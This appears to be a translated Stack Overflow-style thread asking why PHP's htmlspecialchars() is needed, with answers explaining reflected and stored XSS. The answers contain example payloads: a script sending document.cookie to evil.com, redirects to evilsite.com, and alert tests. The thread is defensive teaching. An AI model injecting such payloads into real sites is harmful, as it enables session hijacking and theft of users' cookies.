我正在查看php.net manual并且它有这行代码:
Hi <?php echo htmlspecialchars($_POST['name']); ?>.
You are <?php echo (int)$_POST['age']; ?> years old.
它在下面说:
htmlspecialchars()确保html中特殊的任何字符都经过正确编码,这样人们就无法在页面中插入HTML标记或Javascript。
这真的有必要吗?
有人真的可以将恶意代码放入那一行吗?有什么可担心的?可以将某些东西注入该行来运行一些PHP代码吗?即使在这种情况下没有威胁,他们是否只是让人们习惯于注意这一点?
答案 0 :(得分:5)
如果有人的名字恰好是:
<script>document.write('<img src="http://www.evil.com/worm.php?'+document.cookie+'"/>');</script>
然后可以在您的网站上释放蠕虫。从本质上讲,蠕虫只是一个脚本,它接受用户会话cookie,登录,然后做恶意的东西,随着更多人的观看而复制自己。
答案 1 :(得分:4)
是的,这是必要的。有关cross-site scripting vulnerabilities的信息,请参阅维基百科。
PHP无法使用XSS运行,但攻击者可以窃取会话cookie。如果该会话cookie是CMS上的管理员,则可能是灾难性的,作为一个例子。
答案 2 :(得分:2)
这不仅仅是为了安全。例如,如果您收到Fred&Jen
$_POST['name']
,则会导致XML文档无效。
答案 3 :(得分:2)
此处的威胁是XSS。这是攻击者试图使用XSS攻击执行的Javascript代码。
要自己查看,请删除htmlspecialchars(),然后将其发布为name
:
<script>alert('xss')</script>
您将看到您的PHP代码将打印出来,浏览器将执行Javascript。
最常见的XSS攻击是在用户具有登录会话的Web应用程序上。成功的XSS攻击可以使用document.cookie
读取受害者的会话ID cookie,然后将其发送到攻击者可以继续进行会话劫持的攻击者网站。
此攻击被称为反射XSS 。更严重的XSS类型是持久性XSS ,您可以将输入存储到数据库中,然后将其打印在主页上供所有用户查看或任何其他页面。持久性XSS更有害,因为XSS持续存在的页面中的任何访问者都可能受到攻击而无需为每个受害者重新启动攻击。
答案 4 :(得分:1)
如果您只打印相同用户发布的内容,则不会对您或其他用户造成太大伤害。但是,它仍然有用,因为用户可能会使用“&gt;”和“&lt;”他们会毁掉内容的代表性。
但是,如果您要显示其他用户提交的内容,则会变得更加危险。
用户可以将指向其他网站的链接注入javascript。
<script>window.location = 'http://www.evilsite.com';</script>
所有访问该网站并显示此用户提交内容的用户都将被重定向到evilsite。
答案 5 :(得分:0)
是的,例如有人可以注入一些Javascript代码,这些代码在显示时会将其重定向到另一个网站(这是相当无害的)。
示例:
<script type="text/javascript">
window.location = "http://www.google.com/"
</script>
如果要将用户发布而不进行转义,则会将用户重定向到Google
答案 6 :(得分:0)
PHP代码无法注入到该字段中,因为PHP解释器不对其进行评估,但它确实引入了跨站点脚本编写的潜力。
您可以使用以下内容进行测试:
<form action="" method="POST">
<input type="text" name="name"/>
<input type="submit"/>
</form>
<?php
if(isset($_POST['name'])){?>
Hi <?php echo htmlspecialchars($_POST['name']); ?>.
<?php}?>
然后在“名称”字段中,提交此代码并查看会发生什么:
<script type="text/javascript">alert("P0WN3D");</script>
答案 7 :(得分:0)
有人真的可以将恶意代码放入那一行吗?
是。